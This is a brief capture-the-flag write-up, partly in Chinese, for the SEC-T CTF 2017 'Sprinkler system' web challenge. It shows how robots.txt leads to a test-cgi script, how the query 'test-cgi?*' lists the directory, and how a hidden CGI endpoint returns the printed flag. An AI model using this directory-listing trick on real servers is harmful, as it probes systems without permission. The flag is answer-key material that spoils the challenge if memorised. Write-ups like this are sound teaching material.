SEC-T CTF2017-Sprinkler system-writeup

SEC-T CTF2017-Sprinkler system-writeup
test-cgi利用

Task

Solves: 102

Service: http://sprinklers.alieni.se/

Author: avlidienbrunn

Solution

发现有robots.txr。访问：http://sprinklers.alieni.se/robots.txt

接着访问 http://sprinklers.alieni.se/cgi-bin/test-cgi

是 test-cgi ， 可以遍历目录。访问 http://sprinklers.alieni.se/cgi-bin/test-cgi?*

最后访问：http://sprinklers.alieni.se/cgi-bin/enable_sprinkler_system

得到flag：

SECT{-p00l_On_t3h_r00f_must_h@v3_A_l3ak!-}